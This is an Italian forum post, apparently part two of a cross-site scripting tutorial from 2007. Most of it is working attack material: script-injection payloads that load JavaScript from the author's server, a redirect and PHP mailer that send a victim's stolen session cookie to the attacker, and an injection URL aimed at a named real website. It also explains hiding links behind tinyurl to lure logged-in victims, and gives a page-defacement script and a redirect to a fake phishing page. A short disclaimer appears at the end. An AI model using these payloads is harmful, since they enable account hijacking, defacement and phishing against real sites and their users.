Current time: 20-05-2013, 05:21 AM | Shoutbox Hello There, Guest! (LoginRegister)


Post Reply  Post Thread 
Guida XSS - 2a Parte
Author Message
Langy
Administrator
*******


Posts: 8.464
Group: Administrators
Joined: Sep 2007
Status: Offline
Reputation: 10
Post: #1
Guida XSS - 2a Parte

Guida XSS - 2a Parte

-------------------------------
Autore: Langy
Data: 11-09-2007
Copyright: http://www.googlebig.com

-------------------------------

Link utili:
http://www.gnucitizen.org/xssdb/application.htm (Attack Database)
http://www.xssed.com (Mirror Archive of Vulnerable Websites)
http://ha.ckers.org/xss.html (XSS Cheat sheet)
http://software.graflex.org/dexss/ (Removing JavaScript from HTML)

http://en.wikipedia.org/wiki/Cross-site_scripting

-------------------------------

A questo punto ci serve sapere i cookie della vittima e quindi entra in gioco un cookie grabber che altro non è che uno script che risiedera' sul nostro server e che includeremo nell'url del sito vulnerabile per farci inviare i cookie direttamente dalla vittima :D

Per includere un file con javascript possiamo scrivere così

Code:
"><script src="http://www.googlebig.com/cookiescript.js"></script>


All'interno del file cookiescript.js ci scriveremo in codice che visualizza il cookie e ce lo invia per email.

Come prima cosa bisogna creare un redirect verso il nostro sito includendo la variabile del cookie.

quindi:

Code:
<script>location.href="http://googlebig.com/cookie.php?cookie=</script>


Ora creiamo il file cookie.php

Code:
<? mail("admin@googlebig.com","Ecco il cookie rubato",$_GET['cookie']; ?>


Uppiamo il file cookie.php e cookiescript.js sul nostro server e poi facciamo una prova andando sull'indirizzo:

Code:
http://www.seap-puglia.it/default.asp?rif=1&tiporicerca=2&strRicerca
1="><scriptsrc="http://www.googlebig.com/cookiescript.js"></script>


Se tutto funziona vedremo arrivarci un'email con il nostro cookie.

Mandiamo il link alla vittima.. possiamo o mandare il link per esteso oppure utilizzare un servizio di redirect come http://www.tinyurl.com

Una volta creato il redirect, in questo caso http://tinyurl.com/2rgry5 possiamo contattare l'utente, possibilmente tramite il sito stesso per essere sicuri che apra il link quando è effettivamente loggato al sito.

XSS CHE NON FUNZIONA

Se una xss non funziona e quindi non da la possibilita' di un redirect o non visualizza i cookie puo' essere utilizzata come pagina di phishing. Tutto sta sempre nel creare un file .js da includere alla pagina.

Un esempio di codice è questo:


PHP Code:
var title "XSSED BY GOOGLEBIG.COM";var bgcolor "#000000";
var 
image_url "http://www.googlebig.com/googlebig.jpg";
var 
text "Langy was here ;)";var font_color "#FFFFFF";
deface(titlebgcolorimage_urltextfont_color); 
function 
deface(pageTitlebgColorimageUrlpageTextfontColor
{  
document.title pageTitle
 
document.body.innerHTML '';  
document.bgColor bgColor;  
var 
overLay document.createElement("div");  
overLay.style.textAlign 'center';  
document.body.appendChild(overLay);  
var 
txt document.createElement("p");  
txt.style.font 'normal normal bold 36px Verdana';  
txt.style.color fontColor;  txt.innerHTML pageText;  
overLay.appendChild(txt);   
if (
image_url != "") {    var newImg document.createElement("img");    
newImg.setAttribute("border"'0');
newImg.setAttribute("src"imageUrl);    
overLay.appendChild(newImg);  }  
var 
footer document.createElement("p");  
footer.style.font 'italic normal normal 12px Arial';  
footer.style.color '#DDDDDD';  footer.innerHTML title;  
overLay.appendChild(footer);} 


Questo codice va inserito in questo modo:

Code:
http://[sitovittima]/pagina.php?variabile="><script src="http://www.googlebig.com/script.js"></script>


In questo modo andando su quell'indirizzo vedremo quella pagina in javascript che abbiamo creato... Ovviamente a buon intenditor poche parole.

Anche in questo caso ci possiamo avvalere di tinyurl per mascherare il nostro url completo e quindi includere direttamente il redirect

Code:
http://[sitovittima]/pagina.php?variabile="><script src="http://tinyurl.com/xxxxx"></script>


Un altro metodo per portare la vittima sulla pagina che desideriamo è questo:

Code:
http://[sitovittima]/pagina.php?variabile="><script>
location.href="http://www.googlebig.com/fakepage.htm</script>




Questa guida è stata creata per puro scopo informativo. Non fate i lameri -.-

La prima cosa da fare quando ne trovate una è postarla qui http://www.xssed.com/submit e poi contattare il webmaster del sito vulnerabile a xss segnalandogli il problema.

La seguente guida puo' essere utilizzata liberamente su qualsiasi sito includendo senza modifiche il copyright.

Vai alla 3a Parte della Guida


"There is no patch for human stupidity" - K. D. M.

This post was last modified: 19-12-2007 09:14 PM by Langy.

unknown browser unknown system
Browser e O.S.: 
11-09-2007 09:38 AM
Visit this user's website Find all posts by this user Quote this message in a reply
Post Reply  Post Thread 

Possibly Related Threads...
Thread: Author Replies: Views: Last Post
  Guida XSS - 4a Parte - La soluzione alle xss Langy 2 4.873 04-02-2013 07:20 AM
Last Post: Stancenasty
  Guida Completa alla vulnerabilita' XSS N3t.Sh4rk 7 2.190 04-09-2012 04:22 PM
Last Post: vstoavvgswmvs
  Guida XSS - 3a Parte - Modelli Js Langy 6 3.151 01-11-2008 07:06 PM
Last Post: xados
  Guida XSS - 1a Parte Langy 14 6.889 25-11-2007 05:52 PM
Last Post: Langy

View a Printable Version
Send this Thread to a Friend
Subscribe to this Thread | Add Thread to Favorites